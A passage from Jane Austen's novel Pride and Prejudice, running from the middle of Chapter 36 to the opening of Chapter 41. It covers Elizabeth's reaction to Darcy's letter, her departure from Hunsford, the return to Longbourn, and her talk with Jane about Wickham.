sense of shame would not conceal. With a strong +prejudice against everything he might say, she began his account of what +had happened at Netherfield. She read with an eagerness which hardly +left her power of comprehension, and from impatience of knowing what the +next sentence might bring, was incapable of attending to the sense of +the one before her eyes. His belief of her sister's insensibility she +instantly resolved to be false; and his account of the real, the worst +objections to the match, made her too angry to have any wish of doing +him justice. He expressed no regret for what he had done which satisfied +her; his style was not penitent, but haughty. It was all pride and +insolence. + +But when this subject was succeeded by his account of Mr. Wickham--when +she read with somewhat clearer attention a relation of events which, +if true, must overthrow every cherished opinion of his worth, and which +bore so alarming an affinity to his own history of himself--her +feelings were yet more acutely painful and more difficult of definition. +Astonishment, apprehension, and even horror, oppressed her. She wished +to discredit it entirely, repeatedly exclaiming, "This must be false! +This cannot be! This must be the grossest falsehood!"--and when she had +gone through the whole letter, though scarcely knowing anything of the +last page or two, put it hastily away, protesting that she would not +regard it, that she would never look in it again. + +In this perturbed state of mind, with thoughts that could rest on +nothing, she walked on; but it would not do; in half a minute the letter +was unfolded again, and collecting herself as well as she could, she +again began the mortifying perusal of all that related to Wickham, and +commanded herself so far as to examine the meaning of every sentence. +The account of his connection with the Pemberley family was exactly what +he had related himself; and the kindness of the late Mr. Darcy, though +she had not before known its extent, agreed equally well with his own +words. So far each recital confirmed the other; but when she came to the +will, the difference was great. What Wickham had said of the living +was fresh in her memory, and as she recalled his very words, it was +impossible not to feel that there was gross duplicity on one side or the +other; and, for a few moments, she flattered herself that her wishes did +not err. But when she read and re-read with the closest attention, the +particulars immediately following of Wickham's resigning all pretensions +to the living, of his receiving in lieu so considerable a sum as three +thousand pounds, again was she forced to hesitate. She put down +the letter, weighed every circumstance with what she meant to be +impartiality--deliberated on the probability of each statement--but with +little success. On both sides it was only assertion. Again she read +on; but every line proved more clearly that the affair, which she had +believed it impossible that any contrivance could so represent as to +render Mr. Darcy's conduct in it less than infamous, was capable of a +turn which must make him entirely blameless throughout the whole. + +The extravagance and general profligacy which he scrupled not to lay at +Mr. Wickham's charge, exceedingly shocked her; the more so, as she could +bring no proof of its injustice. She had never heard of him before his +entrance into the ----shire Militia, in which he had engaged at the +persuasion of the young man who, on meeting him accidentally in town, +had there renewed a slight acquaintance. Of his former way of life +nothing had been known in Hertfordshire but what he told himself. As +to his real character, had information been in her power, she had +never felt a wish of inquiring. His countenance, voice, and manner had +established him at once in the possession of every virtue. She tried +to recollect some instance of goodness, some distinguished trait of +integrity or benevolence, that might rescue him from the attacks of +Mr. Darcy; or at least, by the predominance of virtue, atone for those +casual errors under which she would endeavour to class what Mr. Darcy +had described as the idleness and vice of many years' continuance. But +no such recollection befriended her. She could see him instantly before +her, in every charm of air and address; but she could remember no more +substantial good than the general approbation of the neighbourhood, and +the regard which his social powers had gained him in the mess. After +pausing on this point a considerable while, she once more continued to +read. But, alas! the story which followed, of his designs on Miss +Darcy, received some confirmation from what had passed between Colonel +Fitzwilliam and herself only the morning before; and at last she was +referred for the truth of every particular to Colonel Fitzwilliam +himself--from whom she had previously received the information of his +near concern in all his cousin's affairs, and whose character she had no +reason to question. At one time she had almost resolved on applying to +him, but the idea was checked by the awkwardness of the application, and +at length wholly banished by the conviction that Mr. Darcy would never +have hazarded such a proposal, if he had not been well assured of his +cousin's corroboration. + +She perfectly remembered everything that had passed in conversation +between Wickham and herself, in their first evening at Mr. Phillips's. +Many of his expressions were still fresh in her memory. She was _now_ +struck with the impropriety of such communications to a stranger, and +wondered it had escaped her before. She saw the indelicacy of putting +himself forward as he had done, and the inconsistency of his professions +with his conduct. She remembered that he had boasted of having no fear +of seeing Mr. Darcy--that Mr. Darcy might leave the country, but that +_he_ should stand his ground; yet he had avoided the Netherfield ball +the very next week. She remembered also that, till the Netherfield +family had quitted the country, he had told his story to no one but +herself; but that after their removal it had been everywhere discussed; +that he had then no reserves, no scruples in sinking Mr. Darcy's +character, though he had assured her that respect for the father would +always prevent his exposing the son. + +How differently did everything now appear in which he was concerned! +His attentions to Miss King were now the consequence of views solely and +hatefully mercenary; and the mediocrity of her fortune proved no longer +the moderation of his wishes, but his eagerness to grasp at anything. +His behaviour to herself could now have had no tolerable motive; he had +either been deceived with regard to her fortune, or had been gratifying +his vanity by encouraging the preference which she believed she had most +incautiously shown. Every lingering struggle in his favour grew fainter +and fainter; and in farther justification of Mr. Darcy, she could not +but allow that Mr. Bingley, when questioned by Jane, had long ago +asserted his blamelessness in the affair; that proud and repulsive as +were his manners, she had never, in the whole course of their +acquaintance--an acquaintance which had latterly brought them much +together, and given her a sort of intimacy with his ways--seen anything +that betrayed him to be unprincipled or unjust--anything that spoke him +of irreligious or immoral habits; that among his own connections he was +esteemed and valued--that even Wickham had allowed him merit as a +brother, and that she had often heard him speak so affectionately of his +sister as to prove him capable of _some_ amiable feeling; that had his +actions been what Mr. Wickham represented them, so gross a violation of +everything right could hardly have been concealed from the world; and +that friendship between a person capable of it, and such an amiable man +as Mr. Bingley, was incomprehensible. + +She grew absolutely ashamed of herself. Of neither Darcy nor Wickham +could she think without feeling she had been blind, partial, prejudiced, +absurd. + +"How despicably I have acted!" she cried; "I, who have prided myself +on my discernment! I, who have valued myself on my abilities! who have +often disdained the generous candour of my sister, and gratified +my vanity in useless or blameable mistrust! How humiliating is this +discovery! Yet, how just a humiliation! Had I been in love, I could +not have been more wretchedly blind! But vanity, not love, has been my +folly. Pleased with the preference of one, and offended by the neglect +of the other, on the very beginning of our acquaintance, I have courted +prepossession and ignorance, and driven reason away, where either were +concerned. Till this moment I never knew myself." + +From herself to Jane--from Jane to Bingley, her thoughts were in a line +which soon brought to her recollection that Mr. Darcy's explanation +_there_ had appeared very insufficient, and she read it again. Widely +different was the effect of a second perusal. How could she deny that +credit to his assertions in one instance, which she had been obliged to +give in the other? He declared himself to be totally unsuspicious of her +sister's attachment; and she could not help remembering what Charlotte's +opinion had always been. Neither could she deny the justice of his +description of Jane. She felt that Jane's feelings, though fervent, were +little displayed, and that there was a constant complacency in her air +and manner not often united with great sensibility. + +When she came to that part of the letter in which her family were +mentioned in terms of such mortifying, yet merited reproach, her sense +of shame was severe. The justice of the charge struck her too forcibly +for denial, and the circumstances to which he particularly alluded as +having passed at the Netherfield ball, and as confirming all his first +disapprobation, could not have made a stronger impression on his mind +than on hers. + +The compliment to herself and her sister was not unfelt. It soothed, +but it could not console her for the contempt which had thus been +self-attracted by the rest of her family; and as she considered +that Jane's disappointment had in fact been the work of her nearest +relations, and reflected how materially the credit of both must be hurt +by such impropriety of conduct, she felt depressed beyond anything she +had ever known before. + +After wandering along the lane for two hours, giving way to every +variety of thought--re-considering events, determining probabilities, +and reconciling herself, as well as she could, to a change so sudden and +so important, fatigue, and a recollection of her long absence, made +her at length return home; and she entered the house with the wish +of appearing cheerful as usual, and the resolution of repressing such +reflections as must make her unfit for conversation. + +She was immediately told that the two gentlemen from Rosings had each +called during her absence; Mr. Darcy, only for a few minutes, to take +leave--but that Colonel Fitzwilliam had been sitting with them at least +an hour, hoping for her return, and almost resolving to walk after her +till she could be found. Elizabeth could but just _affect_ concern +in missing him; she really rejoiced at it. Colonel Fitzwilliam was no +longer an object; she could think only of her letter. + + + +Chapter 37 + + +The two gentlemen left Rosings the next morning, and Mr. Collins having +been in waiting near the lodges, to make them his parting obeisance, was +able to bring home the pleasing intelligence, of their appearing in very +good health, and in as tolerable spirits as could be expected, after the +melancholy scene so lately gone through at Rosings. To Rosings he then +hastened, to console Lady Catherine and her daughter; and on his return +brought back, with great satisfaction, a message from her ladyship, +importing that she felt herself so dull as to make her very desirous of +having them all to dine with her. + +Elizabeth could not see Lady Catherine without recollecting that, had +she chosen it, she might by this time have been presented to her as +her future niece; nor could she think, without a smile, of what her +ladyship's indignation would have been. "What would she have said? how +would she have behaved?" were questions with which she amused herself. + +Their first subject was the diminution of the Rosings party. "I assure +you, I feel it exceedingly," said Lady Catherine; "I believe no one +feels the loss of friends so much as I do. But I am particularly +attached to these young men, and know them to be so much attached to +me! They were excessively sorry to go! But so they always are. The +dear Colonel rallied his spirits tolerably till just at last; but Darcy +seemed to feel it most acutely, more, I think, than last year. His +attachment to Rosings certainly increases." + +Mr. Collins had a compliment, and an allusion to throw in here, which +were kindly smiled on by the mother and daughter. + +Lady Catherine observed, after dinner, that Miss Bennet seemed out of +spirits, and immediately accounting for it by herself, by supposing that +she did not like to go home again so soon, she added: + +"But if that is the case, you must write to your mother and beg that +you may stay a little longer. Mrs. Collins will be very glad of your +company, I am sure." + +"I am much obliged to your ladyship for your kind invitation," replied +Elizabeth, "but it is not in my power to accept it. I must be in town +next Saturday." + +"Why, at that rate, you will have been here only six weeks. I expected +you to stay two months. I told Mrs. Collins so before you came. There +can be no occasion for your going so soon. Mrs. Bennet could certainly +spare you for another fortnight." + +"But my father cannot. He wrote last week to hurry my return." + +"Oh! your father of course may spare you, if your mother can. Daughters +are never of so much consequence to a father. And if you will stay +another _month_ complete, it will be in my power to take one of you as +far as London, for I am going there early in June, for a week; and as +Dawson does not object to the barouche-box, there will be very good room +for one of you--and indeed, if the weather should happen to be cool, I +should not object to taking you both, as you are neither of you large." + +"You are all kindness, madam; but I believe we must abide by our +original plan." + +Lady Catherine seemed resigned. "Mrs. Collins, you must send a servant +with them. You know I always speak my mind, and I cannot bear the idea +of two young women travelling post by themselves. It is highly improper. +You must contrive to send somebody. I have the greatest dislike in +the world to that sort of thing. Young women should always be properly +guarded and attended, according to their situation in life. When my +niece Georgiana went to Ramsgate last summer, I made a point of her +having two men-servants go with her. Miss Darcy, the daughter of +Mr. Darcy, of Pemberley, and Lady Anne, could not have appeared with +propriety in a different manner. I am excessively attentive to all those +things. You must send John with the young ladies, Mrs. Collins. I +am glad it occurred to me to mention it; for it would really be +discreditable to _you_ to let them go alone." + +"My uncle is to send a servant for us." + +"Oh! Your uncle! He keeps a man-servant, does he? I am very glad you +have somebody who thinks of these things. Where shall you change horses? +Oh! Bromley, of course. If you mention my name at the Bell, you will be +attended to." + +Lady Catherine had many other questions to ask respecting their journey, +and as she did not answer them all herself, attention was necessary, +which Elizabeth believed to be lucky for her; or, with a mind so +occupied, she might have forgotten where she was. Reflection must be +reserved for solitary hours; whenever she was alone, she gave way to it +as the greatest relief; and not a day went by without a solitary +walk, in which she might indulge in all the delight of unpleasant +recollections. + +Mr. Darcy's letter she was in a fair way of soon knowing by heart. She +studied every sentence; and her feelings towards its writer were at +times widely different. When she remembered the style of his address, +she was still full of indignation; but when she considered how unjustly +she had condemned and upbraided him, her anger was turned against +herself; and his disappointed feelings became the object of compassion. +His attachment excited gratitude, his general character respect; but she +could not approve him; nor could she for a moment repent her refusal, +or feel the slightest inclination ever to see him again. In her own past +behaviour, there was a constant source of vexation and regret; and in +the unhappy defects of her family, a subject of yet heavier chagrin. +They were hopeless of remedy. Her father, contented with laughing at +them, would never exert himself to restrain the wild giddiness of his +youngest daughters; and her mother, with manners so far from right +herself, was entirely insensible of the evil. Elizabeth had frequently +united with Jane in an endeavour to check the imprudence of Catherine +and Lydia; but while they were supported by their mother's indulgence, +what chance could there be of improvement? Catherine, weak-spirited, +irritable, and completely under Lydia's guidance, had been always +affronted by their advice; and Lydia, self-willed and careless, would +scarcely give them a hearing. They were ignorant, idle, and vain. While +there was an officer in Meryton, they would flirt with him; and while +Meryton was within a walk of Longbourn, they would be going there +forever. + +Anxiety on Jane's behalf was another prevailing concern; and Mr. Darcy's +explanation, by restoring Bingley to all her former good opinion, +heightened the sense of what Jane had lost. His affection was proved +to have been sincere, and his conduct cleared of all blame, unless any +could attach to the implicitness of his confidence in his friend. How +grievous then was the thought that, of a situation so desirable in every +respect, so replete with advantage, so promising for happiness, Jane had +been deprived, by the folly and indecorum of her own family! + +When to these recollections was added the development of Wickham's +character, it may be easily believed that the happy spirits which had +seldom been depressed before, were now so much affected as to make it +almost impossible for her to appear tolerably cheerful. + +Their engagements at Rosings were as frequent during the last week of +her stay as they had been at first. The very last evening was spent +there; and her ladyship again inquired minutely into the particulars of +their journey, gave them directions as to the best method of packing, +and was so urgent on the necessity of placing gowns in the only right +way, that Maria thought herself obliged, on her return, to undo all the +work of the morning, and pack her trunk afresh. + +When they parted, Lady Catherine, with great condescension, wished them +a good journey, and invited them to come to Hunsford again next year; +and Miss de Bourgh exerted herself so far as to curtsey and hold out her +hand to both. + + + +Chapter 38 + + +On Saturday morning Elizabeth and Mr. Collins met for breakfast a few +minutes before the others appeared; and he took the opportunity of +paying the parting civilities which he deemed indispensably necessary. + +"I know not, Miss Elizabeth," said he, "whether Mrs. Collins has yet +expressed her sense of your kindness in coming to us; but I am very +certain you will not leave the house without receiving her thanks for +it. The favour of your company has been much felt, I assure you. We +know how little there is to tempt anyone to our humble abode. Our plain +manner of living, our small rooms and few domestics, and the little we +see of the world, must make Hunsford extremely dull to a young lady like +yourself; but I hope you will believe us grateful for the condescension, +and that we have done everything in our power to prevent your spending +your time unpleasantly." + +Elizabeth was eager with her thanks and assurances of happiness. She +had spent six weeks with great enjoyment; and the pleasure of being with +Charlotte, and the kind attentions she had received, must make _her_ +feel the obliged. Mr. Collins was gratified, and with a more smiling +solemnity replied: + +"It gives me great pleasure to hear that you have passed your time not +disagreeably. We have certainly done our best; and most fortunately +having it in our power to introduce you to very superior society, and, +from our connection with Rosings, the frequent means of varying the +humble home scene, I think we may flatter ourselves that your Hunsford +visit cannot have been entirely irksome. Our situation with regard to +Lady Catherine's family is indeed the sort of extraordinary advantage +and blessing which few can boast. You see on what a footing we are. You +see how continually we are engaged there. In truth I must acknowledge +that, with all the disadvantages of this humble parsonage, I should +not think anyone abiding in it an object of compassion, while they are +sharers of our intimacy at Rosings." + +Words were insufficient for the elevation of his feelings; and he was +obliged to walk about the room, while Elizabeth tried to unite civility +and truth in a few short sentences. + +"You may, in fact, carry a very favourable report of us into +Hertfordshire, my dear cousin. I flatter myself at least that you will +be able to do so. Lady Catherine's great attentions to Mrs. Collins you +have been a daily witness of; and altogether I trust it does not appear +that your friend has drawn an unfortunate--but on this point it will be +as well to be silent. Only let me assure you, my dear Miss Elizabeth, +that I can from my heart most cordially wish you equal felicity in +marriage. My dear Charlotte and I have but one mind and one way of +thinking. There is in everything a most remarkable resemblance of +character and ideas between us. We seem to have been designed for each +other." + +Elizabeth could safely say that it was a great happiness where that was +the case, and with equal sincerity could add, that she firmly believed +and rejoiced in his domestic comforts. She was not sorry, however, to +have the recital of them interrupted by the lady from whom they sprang. +Poor Charlotte! it was melancholy to leave her to such society! But she +had chosen it with her eyes open; and though evidently regretting that +her visitors were to go, she did not seem to ask for compassion. Her +home and her housekeeping, her parish and her poultry, and all their +dependent concerns, had not yet lost their charms. + +At length the chaise arrived, the trunks were fastened on, the parcels +placed within, and it was pronounced to be ready. After an affectionate +parting between the friends, Elizabeth was attended to the carriage by +Mr. Collins, and as they walked down the garden he was commissioning her +with his best respects to all her family, not forgetting his thanks +for the kindness he had received at Longbourn in the winter, and his +compliments to Mr. and Mrs. Gardiner, though unknown. He then handed her +in, Maria followed, and the door was on the point of being closed, +when he suddenly reminded them, with some consternation, that they had +hitherto forgotten to leave any message for the ladies at Rosings. + +"But," he added, "you will of course wish to have your humble respects +delivered to them, with your grateful thanks for their kindness to you +while you have been here." + +Elizabeth made no objection; the door was then allowed to be shut, and +the carriage drove off. + +"Good gracious!" cried Maria, after a few minutes' silence, "it seems +but a day or two since we first came! and yet how many things have +happened!" + +"A great many indeed," said her companion with a sigh. + +"We have dined nine times at Rosings, besides drinking tea there twice! +How much I shall have to tell!" + +Elizabeth added privately, "And how much I shall have to conceal!" + +Their journey was performed without much conversation, or any alarm; and +within four hours of their leaving Hunsford they reached Mr. Gardiner's +house, where they were to remain a few days. + +Jane looked well, and Elizabeth had little opportunity of studying her +spirits, amidst the various engagements which the kindness of her +aunt had reserved for them. But Jane was to go home with her, and at +Longbourn there would be leisure enough for observation. + +It was not without an effort, meanwhile, that she could wait even for +Longbourn, before she told her sister of Mr. Darcy's proposals. To know +that she had the power of revealing what would so exceedingly astonish +Jane, and must, at the same time, so highly gratify whatever of her own +vanity she had not yet been able to reason away, was such a temptation +to openness as nothing could have conquered but the state of indecision +in which she remained as to the extent of what she should communicate; +and her fear, if she once entered on the subject, of being hurried +into repeating something of Bingley which might only grieve her sister +further. + + + +Chapter 39 + + +It was the second week in May, in which the three young ladies set out +together from Gracechurch Street for the town of ----, in Hertfordshire; +and, as they drew near the appointed inn where Mr. Bennet's carriage +was to meet them, they quickly perceived, in token of the coachman's +punctuality, both Kitty and Lydia looking out of a dining-room up stairs. +These two girls had been above an hour in the place, happily employed +in visiting an opposite milliner, watching the sentinel on guard, and +dressing a salad and cucumber. + +After welcoming their sisters, they triumphantly displayed a table set +out with such cold meat as an inn larder usually affords, exclaiming, +"Is not this nice? Is not this an agreeable surprise?" + +"And we mean to treat you all," added Lydia, "but you must lend us the +money, for we have just spent ours at the shop out there." Then, showing +her purchases--"Look here, I have bought this bonnet. I do not think +it is very pretty; but I thought I might as well buy it as not. I shall +pull it to pieces as soon as I get home, and see if I can make it up any +better." + +And when her sisters abused it as ugly, she added, with perfect +unconcern, "Oh! but there were two or three much uglier in the shop; and +when I have bought some prettier-coloured satin to trim it with fresh, I +think it will be very tolerable. Besides, it will not much signify what +one wears this summer, after the ----shire have left Meryton, and they +are going in a fortnight." + +"Are they indeed!" cried Elizabeth, with the greatest satisfaction. + +"They are going to be encamped near Brighton; and I do so want papa to +take us all there for the summer! It would be such a delicious scheme; +and I dare say would hardly cost anything at all. Mamma would like to +go too of all things! Only think what a miserable summer else we shall +have!" + +"Yes," thought Elizabeth, "_that_ would be a delightful scheme indeed, +and completely do for us at once. Good Heaven! Brighton, and a whole +campful of soldiers, to us, who have been overset already by one poor +regiment of militia, and the monthly balls of Meryton!" + +"Now I have got some news for you," said Lydia, as they sat down at +table. "What do you think? It is excellent news--capital news--and about +a certain person we all like!" + +Jane and Elizabeth looked at each other, and the waiter was told he need +not stay. Lydia laughed, and said: + +"Aye, that is just like your formality and discretion. You thought the +waiter must not hear, as if he cared! I dare say he often hears worse +things said than I am going to say. But he is an ugly fellow! I am glad +he is gone. I never saw such a long chin in my life. Well, but now for +my news; it is about dear Wickham; too good for the waiter, is it not? +There is no danger of Wickham's marrying Mary King. There's for you! She +is gone down to her uncle at Liverpool: gone to stay. Wickham is safe." + +"And Mary King is safe!" added Elizabeth; "safe from a connection +imprudent as to fortune." + +"She is a great fool for going away, if she liked him." + +"But I hope there is no strong attachment on either side," said Jane. + +"I am sure there is not on _his_. I will answer for it, he never cared +three straws about her--who could about such a nasty little freckled +thing?" + +Elizabeth was shocked to think that, however incapable of such +coarseness of _expression_ herself, the coarseness of the _sentiment_ +was little other than her own breast had harboured and fancied liberal! + +As soon as all had ate, and the elder ones paid, the carriage was +ordered; and after some contrivance, the whole party, with all their +boxes, work-bags, and parcels, and the unwelcome addition of Kitty's and +Lydia's purchases, were seated in it. + +"How nicely we are all crammed in," cried Lydia. "I am glad I bought my +bonnet, if it is only for the fun of having another bandbox! Well, now +let us be quite comfortable and snug, and talk and laugh all the way +home. And in the first place, let us hear what has happened to you all +since you went away. Have you seen any pleasant men? Have you had any +flirting? I was in great hopes that one of you would have got a husband +before you came back. Jane will be quite an old maid soon, I declare. +She is almost three-and-twenty! Lord, how ashamed I should be of not +being married before three-and-twenty! My aunt Phillips wants you so to +get husbands, you can't think. She says Lizzy had better have taken Mr. +Collins; but _I_ do not think there would have been any fun in it. Lord! +how I should like to be married before any of you; and then I would +chaperon you about to all the balls. Dear me! we had such a good piece +of fun the other day at Colonel Forster's. Kitty and me were to spend +the day there, and Mrs. Forster promised to have a little dance in the +evening; (by the bye, Mrs. Forster and me are _such_ friends!) and so +she asked the two Harringtons to come, but Harriet was ill, and so Pen +was forced to come by herself; and then, what do you think we did? We +dressed up Chamberlayne in woman's clothes on purpose to pass for a +lady, only think what fun! Not a soul knew of it, but Colonel and Mrs. +Forster, and Kitty and me, except my aunt, for we were forced to borrow +one of her gowns; and you cannot imagine how well he looked! When Denny, +and Wickham, and Pratt, and two or three more of the men came in, they +did not know him in the least. Lord! how I laughed! and so did Mrs. +Forster. I thought I should have died. And _that_ made the men suspect +something, and then they soon found out what was the matter." + +With such kinds of histories of their parties and good jokes, did +Lydia, assisted by Kitty's hints and additions, endeavour to amuse her +companions all the way to Longbourn. Elizabeth listened as little as she +could, but there was no escaping the frequent mention of Wickham's name. + +Their reception at home was most kind. Mrs. Bennet rejoiced to see Jane +in undiminished beauty; and more than once during dinner did Mr. Bennet +say voluntarily to Elizabeth: + +"I am glad you are come back, Lizzy." + +Their party in the dining-room was large, for almost all the Lucases +came to meet Maria and hear the news; and various were the subjects that +occupied them: Lady Lucas was inquiring of Maria, after the welfare and +poultry of her eldest daughter; Mrs. Bennet was doubly engaged, on one +hand collecting an account of the present fashions from Jane, who sat +some way below her, and, on the other, retailing them all to the younger +Lucases; and Lydia, in a voice rather louder than any other person's, +was enumerating the various pleasures of the morning to anybody who +would hear her. + +"Oh! Mary," said she, "I wish you had gone with us, for we had such fun! +As we went along, Kitty and I drew up the blinds, and pretended there +was nobody in the coach; and I should have gone so all the way, if Kitty +had not been sick; and when we got to the George, I do think we behaved +very handsomely, for we treated the other three with the nicest cold +luncheon in the world, and if you would have gone, we would have treated +you too. And then when we came away it was such fun! I thought we never +should have got into the coach. I was ready to die of laughter. And then +we were so merry all the way home! we talked and laughed so loud, that +anybody might have heard us ten miles off!" + +To this Mary very gravely replied, "Far be it from me, my dear sister, +to depreciate such pleasures! They would doubtless be congenial with the +generality of female minds. But I confess they would have no charms for +_me_--I should infinitely prefer a book." + +But of this answer Lydia heard not a word. She seldom listened to +anybody for more than half a minute, and never attended to Mary at all. + +In the afternoon Lydia was urgent with the rest of the girls to walk +to Meryton, and to see how everybody went on; but Elizabeth steadily +opposed the scheme. It should not be said that the Miss Bennets could +not be at home half a day before they were in pursuit of the officers. +There was another reason too for her opposition. She dreaded seeing Mr. +Wickham again, and was resolved to avoid it as long as possible. The +comfort to _her_ of the regiment's approaching removal was indeed beyond +expression. In a fortnight they were to go--and once gone, she hoped +there could be nothing more to plague her on his account. + +She had not been many hours at home before she found that the Brighton +scheme, of which Lydia had given them a hint at the inn, was under +frequent discussion between her parents. Elizabeth saw directly that her +father had not the smallest intention of yielding; but his answers were +at the same time so vague and equivocal, that her mother, though often +disheartened, had never yet despaired of succeeding at last. + + + +Chapter 40 + + +Elizabeth's impatience to acquaint Jane with what had happened could +no longer be overcome; and at length, resolving to suppress every +particular in which her sister was concerned, and preparing her to be +surprised, she related to her the next morning the chief of the scene +between Mr. Darcy and herself. + +Miss Bennet's astonishment was soon lessened by the strong sisterly +partiality which made any admiration of Elizabeth appear perfectly +natural; and all surprise was shortly lost in other feelings. She was +sorry that Mr. Darcy should have delivered his sentiments in a manner so +little suited to recommend them; but still more was she grieved for the +unhappiness which her sister's refusal must have given him. + +"His being so sure of succeeding was wrong," said she, "and certainly +ought not to have appeared; but consider how much it must increase his +disappointment!" + +"Indeed," replied Elizabeth, "I am heartily sorry for him; but he has +other feelings, which will probably soon drive away his regard for me. +You do not blame me, however, for refusing him?" + +"Blame you! Oh, no." + +"But you blame me for having spoken so warmly of Wickham?" + +"No--I do not know that you were wrong in saying what you did." + +"But you _will_ know it, when I tell you what happened the very next +day." + +She then spoke of the letter, repeating the whole of its contents as far +as they concerned George Wickham. What a stroke was this for poor Jane! +who would willingly have gone through the world without believing that +so much wickedness existed in the whole race of mankind, as was here +collected in one individual. Nor was Darcy's vindication, though +grateful to her feelings, capable of consoling her for such discovery. +Most earnestly did she labour to prove the probability of error, and +seek to clear the one without involving the other. + +"This will not do," said Elizabeth; "you never will be able to make both +of them good for anything. Take your choice, but you must be satisfied +with only one. There is but such a quantity of merit between them; just +enough to make one good sort of man; and of late it has been shifting +about pretty much. For my part, I am inclined to believe it all Darcy's; +but you shall do as you choose." + +It was some time, however, before a smile could be extorted from Jane. + +"I do not know when I have been more shocked," said she. "Wickham so +very bad! It is almost past belief. And poor Mr. Darcy! Dear Lizzy, only +consider what he must have suffered. Such a disappointment! and with the +knowledge of your ill opinion, too! and having to relate such a thing +of his sister! It is really too distressing. I am sure you must feel it +so." + +"Oh! no, my regret and compassion are all done away by seeing you so +full of both. I know you will do him such ample justice, that I am +growing every moment more unconcerned and indifferent. Your profusion +makes me saving; and if you lament over him much longer, my heart will +be as light as a feather." + +"Poor Wickham! there is such an expression of goodness in his +countenance! such an openness and gentleness in his manner!" + +"There certainly was some great mismanagement in the education of those +two young men. One has got all the goodness, and the other all the +appearance of it." + +"I never thought Mr. Darcy so deficient in the _appearance_ of it as you +used to do." + +"And yet I meant to be uncommonly clever in taking so decided a dislike +to him, without any reason. It is such a spur to one's genius, such an +opening for wit, to have a dislike of that kind. One may be continually +abusive without saying anything just; but one cannot always be laughing +at a man without now and then stumbling on something witty." + +"Lizzy, when you first read that letter, I am sure you could not treat +the matter as you do now." + +"Indeed, I could not. I was uncomfortable enough, I may say unhappy. And +with no one to speak to about what I felt, no Jane to comfort me and say +that I had not been so very weak and vain and nonsensical as I knew I +had! Oh! how I wanted you!" + +"How unfortunate that you should have used such very strong expressions +in speaking of Wickham to Mr. Darcy, for now they _do_ appear wholly +undeserved." + +"Certainly. But the misfortune of speaking with bitterness is a most +natural consequence of the prejudices I had been encouraging. There +is one point on which I want your advice. I want to be told whether I +ought, or ought not, to make our acquaintances in general understand +Wickham's character." + +Miss Bennet paused a little, and then replied, "Surely there can be no +occasion for exposing him so dreadfully. What is your opinion?" + +"That it ought not to be attempted. Mr. Darcy has not authorised me +to make his communication public. On the contrary, every particular +relative to his sister was meant to be kept as much as possible to +myself; and if I endeavour to undeceive people as to the rest of his +conduct, who will believe me? The general prejudice against Mr. Darcy +is so violent, that it would be the death of half the good people in +Meryton to attempt to place him in an amiable light. I am not equal +to it. Wickham will soon be gone; and therefore it will not signify to +anyone here what he really is. Some time hence it will be all found out, +and then we may laugh at their stupidity in not knowing it before. At +present I will say nothing about it." + +"You are quite right. To have his errors made public might ruin him for +ever. He is now, perhaps, sorry for what he has done, and anxious to +re-establish a character. We must not make him desperate." + +The tumult of Elizabeth's mind was allayed by this conversation. She had +got rid of two of the secrets which had weighed on her for a fortnight, +and was certain of a willing listener in Jane, whenever she might wish +to talk again of either. But there was still something lurking behind, +of which prudence forbade the disclosure. She dared not relate the other +half of Mr. Darcy's letter, nor explain to her sister how sincerely she +had been valued by her friend. Here was knowledge in which no one +could partake; and she was sensible that nothing less than a perfect +understanding between the parties could justify her in throwing off +this last encumbrance of mystery. "And then," said she, "if that very +improbable event should ever take place, I shall merely be able to +tell what Bingley may tell in a much more agreeable manner himself. The +liberty of communication cannot be mine till it has lost all its value!" + +She was now, on being settled at home, at leisure to observe the real +state of her sister's spirits. Jane was not happy. She still cherished a +very tender affection for Bingley. Having never even fancied herself +in love before, her regard had all the warmth of first attachment, +and, from her age and disposition, greater steadiness than most first +attachments often boast; and so fervently did she value his remembrance, +and prefer him to every other man, that all her good sense, and all her +attention to the feelings of her friends, were requisite to check the +indulgence of those regrets which must have been injurious to her own +health and their tranquillity. + +"Well, Lizzy," said Mrs. Bennet one day, "what is your opinion _now_ of +this sad business of Jane's? For my part, I am determined never to speak +of it again to anybody. I told my sister Phillips so the other day. But +I cannot find out that Jane saw anything of him in London. Well, he is +a very undeserving young man--and I do not suppose there's the least +chance in the world of her ever getting him now. There is no talk of +his coming to Netherfield again in the summer; and I have inquired of +everybody, too, who is likely to know." + +"I do not believe he will ever live at Netherfield any more." + +"Oh well! it is just as he chooses. Nobody wants him to come. Though I +shall always say he used my daughter extremely ill; and if I was her, I +would not have put up with it. Well, my comfort is, I am sure Jane will +die of a broken heart; and then he will be sorry for what he has done." + +But as Elizabeth could not receive comfort from any such expectation, +she made no answer. + +"Well, Lizzy," continued her mother, soon afterwards, "and so the +Collinses live very comfortable, do they? Well, well, I only hope +it will last. And what sort of table do they keep? Charlotte is an +excellent manager, I dare say. If she is half as sharp as her +mother, she is saving enough. There is nothing extravagant in _their_ +housekeeping, I dare say." + +"No, nothing at all." + +"A great deal of good management, depend upon it. Yes, yes, _they_ will +take care not to outrun their income. _They_ will never be distressed +for money. Well, much good may it do them! And so, I suppose, they often +talk of having Longbourn when your father is dead. They look upon it as +quite their own, I dare say, whenever that happens." + +"It was a subject which they could not mention before me." + +"No; it would have been strange if they had; but I make no doubt they +often talk of it between themselves. Well, if they can be easy with an +estate that is not lawfully their own, so much the better. I should be +ashamed of having one that was only entailed on me." + + + +Chapter 41 + + +The first week of their return was soon gone. The second began. It was +the last of the regiment's stay in Meryton, and all the young ladies +in the neighbourhood were drooping apace. The dejection was almost +universal. The elder Miss Bennets alone were still able to eat, drink, +and sleep, and pursue the usual course of their employments. Very +frequently were they reproached for this insensibility by Kitty and +Lydia, whose own misery was extreme, and who could not comprehend such +hard-heartedness in any of the family. + +"Good Heaven! what is to become of us? What are we to do?" would they +often exclaim in the bitterness of woe. "How can you be smiling so, +Lizzy?" + +Their affectionate mother shared all their grief; she remembered what +she had herself endured on a similar occasion, five-and-twenty years +ago. + +"I am sure," said she, "I cried for two days together when Colonel +Miller's regiment went away. I thought I should have broken my heart." + +"I am sure I shall break _mine_," said Lydia. + +"If one could but go to Brighton!" observed Mrs. Bennet. + +"Oh, yes!--if one could but go to Brighton! But papa is so +disagreeable." + +"A little sea-bathing would set me up forever." + +"And my aunt Phillips is sure it would do _me_ a great deal of good," +added Kitty. + +Such were the kind of lamentations resounding perpetually through +Longbourn House. Elizabeth tried to be diverted by them; but all sense +of pleasure was lost in shame. She felt anew the justice of Mr. Darcy's +objections; and never had she been so much disposed to pardon his +interference in the views of his friend. + +But the gloom of Lydia's prospect was shortly cleared away; for she +received an invitation from Mrs. Forster, the wife of the colonel of +the 